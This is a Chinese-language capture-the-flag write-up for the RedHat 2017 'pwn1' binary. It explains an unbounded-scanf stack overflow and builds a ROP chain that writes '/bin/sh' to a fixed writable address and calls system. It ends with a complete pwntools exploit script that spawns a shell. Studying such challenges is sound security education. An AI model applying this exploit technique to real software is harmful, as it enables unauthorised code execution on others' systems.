ROP-RedHat 2017-pwn1

 checksec一下,发现NX保护开启,PIE未开启。

 1 int __cdecl main()
 2 {
 3   int v1; // [esp+18h] [ebp-28h]
 4 
 5   puts("pwn test");
 6   fflush(stdout);
 7   __isoc99_scanf("%s", &v1);
 8   printf("%s", &v1);
 9   return 1;
10 }

IDA打开main函数,发现程序逻辑很简单,存在scanf可以写入任意长度的字符串,但是这里的NX开启,并且由于ASLR的存在,所以不能向栈上写入shellcode。v1不是全局变量,即使PIE未开,也无法向bss段写入shellcode。

 然后发现,这个程序里存在system函数,通过scanf栈溢出漏洞,可以很容易的转到这个system函数里来。但是问题是,system需要command参数,仅仅只是转到这个函数里来是没有任何效果的。只有能够构造出system所需要的参数环境,把字符串“/bin/sh”传进去,才能最终得到shell。

所以我们想要通过system拿到shell,就必须得先构造出“/bin/sh”,找到一块可读可写的内存,把他存放在这个地址,以备调用system时把它当作变量传递进去。

 首先我们想到的是,因为栈空间是可读可写的,所以可以把“/bin/sh”放到栈里。但是由于ASLR的存在,栈地址是随机的,所以存放在栈里不可行。

 于是在IDA中按下CTRL+S,发现在0x804a030地址处正好有16个字节的空间,可读可写,并且可以足够的存放“/bin/sh”。

找到了可以存放“/bin/sh”的地址,接下来就要想,如何把它输入到这里。main函数中已经给我们提供了,就是scanf函数。我们可以修改main的retn,来让程序再次返回调用scanf(上图中的0x8048410地址),来把“/bin/sh”输入到上文中找到的那个合适的地址处。

想让程序转到转到这个地址很简单,通过栈溢出的知识,只要填充垃圾字符覆盖掉返回字符就可以了。但是scanf是需要两个参数的,在程序执行这个函数之前,我们必须要构造出正确的变量,才能妥当的把“/bin/sh”写到内存中。

如何构造,可以模仿一下程序本身自己调用scanf时的指令,它是把需要变量地址(即上文我们找到的0x804a030)存放到ESP+4的位置,把format参数(IDA中很好找,0x08048629)存放在了ESP的位置,然后再通过call指令调用scanf时,顺带着把下一条指令地址push进了栈里,即把返回地址放在了ESP+4的位置。

到了这里,我们就可以初步写出payload了。

即payload=b'A'*52+scanf地址+返回地址+format参数地址+变量地址

scanf地址,format参数地址,变量地址我们都已经确定了,最后就是这里的返回地址了。当我们把“/bin/sh”输入到程序里后,该返回到哪里呢?

在其他的WP中,都是直接再转回到main函数的首地址的,但是我没搞懂为啥第二次填充数目52就变少了,因此我把返回地址放到了0X80485ee的地址处。因为在调用函数的过程中,是要达到堆栈平衡的,也就是说当调用函数 调用 被调用函数,被调用函数返回后,ESP和EBP的值必须与被调用之前是一致的。在本程序中,如上文所画的图中,正常的调用一次scanf函数时,ESP是指向format参数地址的,当scanf正常返回到main函数中,ESP仍然是要指向format参数地址的(相对位置)。在这里我们伪造执行了一次scanf,所以当伪造的这次scanf返回后,ESP仍然是相对指向format参数地址的。所以如果返回后,把ESP和ESP+4所指向的值弹出,在利用retn转向system函数,就大功告成了。

 system函数的地址很容易就能在IDA中找到。

同样的,system函数同样需要两个参数的,一个我们不需要关心,随意填充,另一个就是我们存放binsh的地址。

于是,我们就能写出最终的payload了。

payload=b'A'*52+scanf地址+返回地址+format参数地址+变量地址+system函数地址+b'A'*4+变量地址

 1 #coding:utf-8
 2 from pwn import *
 3 io=process('./redhat')
 4 
 5 pading=b'A'*52    #根据pwntools调试得到的需要填充的数目
 6 pos_scanf=p32(0x08048410)  #scanf函数的地址
 7 pos_next=p32(0x080485EE)  #scanf要返回的地址
 8 pos_format=p32(0x08048629)  #scanf的必备参数%s的地址
 9 pos_binsh=p32(0x0804A030)  #scanf存放变量的地址
10 pos_system=p32(0x080483E0)  #system函数的地址
11 
12 payload=pading+pos_scanf+pos_next+pos_format+pos_binsh+pos_system+b'A'*4+pos_binsh
13 
14 io.sendline(payload)
15 
16 io.sendline('/bin/sh')
17 
18 io.interactive()

原文地址:https://www.cnblogs.com/sweetbaby/p/14148625.html